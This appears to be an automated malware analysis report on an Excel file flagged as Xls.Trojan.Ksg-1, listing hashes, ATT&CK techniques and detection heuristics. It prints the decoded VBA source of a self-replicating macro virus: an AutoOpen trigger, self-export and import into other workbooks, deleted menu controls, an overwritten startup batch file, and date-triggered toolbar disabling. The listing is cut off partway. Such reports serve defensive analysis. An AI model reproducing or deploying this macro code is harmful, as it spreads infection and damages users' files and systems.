Xls.Trojan.Ksg-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 e95ecde0717e1e40…

MALICIOUS

Office (OLE)

47.0 KB Created: 1998-03-17 23:06:43 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 200d21a9d60c76bca9188bb5ed16db6d SHA-1: c3c4f033483db2e6d542b9d086be1364660966bb SHA-256: e95ecde0717e1e40225219ac00c6d37a08f4beac42b94ac21ce9630666ef120a
380 Risk Score

Malware Insights

Xls.Trojan.Ksg-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Ksg-1. It contains an AutoOpen VBA macro that utilizes Shell() and CreateObject() calls, indicating an attempt to execute arbitrary code. The macro is obfuscated and designed as an auto-executing loader, strongly suggesting it downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Xls.Trojan.Ksg-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Ksg-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26871 bytes
SHA-256: d949ef6044335fe09aba4da718e5cc6a9cf4405c63eba64585258ec283686581
Detection
ClamAV: Xls.Trojan.Ksg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
' ----------------------------------------------------------------------------------------
' This is parasite excel macro
' (c) 1999 by ksg
' astigmatiZm virus group
' www.astigmatiZm.cjb.net
' rename this file to parasite.bas and import it in MS Excel Visual Basic Editor to activate
' ----------------------------------------------------------------------------------------

Sub AutoOpen()
Application.OnSheetActivate = "parasite"
Call Mail
End Sub

Sub parasite()
On Error Resume Next

vname = "parasite"
dwb = "PERSONAL.XLS"
dvp = Application.StartupPath & "\" & dwb
counter1 = 0
counter2 = 0

With Application
.ScreenUpdating = False
.DisplayAlerts = False
.EnableCancelKey = xlDisabled
End With

Set cb = CommandBars: Set crtl = Controls

cb("Tools").ctrl(10).Delete: cb("Tools").ctrl(12).Delete
cb("View").ctrl(3).Delete: cb("Window").ctrl(3).Delete
cb("Window").ctrl(4).Delete

Call Poly

Randomize

If Int((Rnd * 10) + 1) = 10 Then
        Application.Caption = "Microsoft Parasite 2000"
        Application.StatusBar = "You have unleashed the parasite"
        Open "c:\windows\dosstart.bat" For Output Access Write As 1
        Print #1, "@ECHO OFF"
        Print #1, "ECHO ---------------------------------"
        Print #1, "ECHO  You have unleashed the parasite "
        Print #1, "ECHO ---------------------------------"
        Print #1, "ECHO   (c) 2000 k s g  [astigmatiZm]  "
        Print #1, "ECHO ---------------------------------"
        Close 1
End If

If Month(Now) = 9 And Day(Now) = 10 Then Call hidetb
If Month(Now) = 9 And Day(Now) = 11 Then Call showtb

Application.VBE.ActiveVBProject.VBComponents.Item(vname).Export "C:\progra~1\parasite.sys"

If Dir(dvp) = dwb Then counter2 = 1

        For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
                If ActiveWorkbook.VBProject.VBComponents(x).Name = vname Then counter1 = 1
        Next x

If counter1 = 0 Then
        ActiveWorkbook.VBProject.VBComponents.Import "C:\progra~1\parasite.sys"
        ActiveWorkbook.Save
End If

If counter2 = 0 Then
        Workbooks.Add.SaveAs FileName:=dvp
        ActiveWorkbook.VBProject.VBComponents.Import "C:\progra~1\parasite.sys"
        ActiveWindow.Visible = False
        Workbooks(dwb).Save
End If

End Sub

Sub hidetb()
On Error Resume Next
CommandBars("Edit").Enabled = False:    CommandBars("Insert").Enabled = False
CommandBars("File").Enabled = False:    CommandBars("Tools").Enabled = False
End Sub

Sub showtb()
On Error Resume Next
CommandBars("Edit").Enabled = True:     CommandBars("Insert").Enabled = True
CommandBars("File").Enabled = True:     CommandBars("Tools").Enabled = True
End Sub

Sub ViewVBCode()
MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(118) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(111) + Chr(102) + Chr(32) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.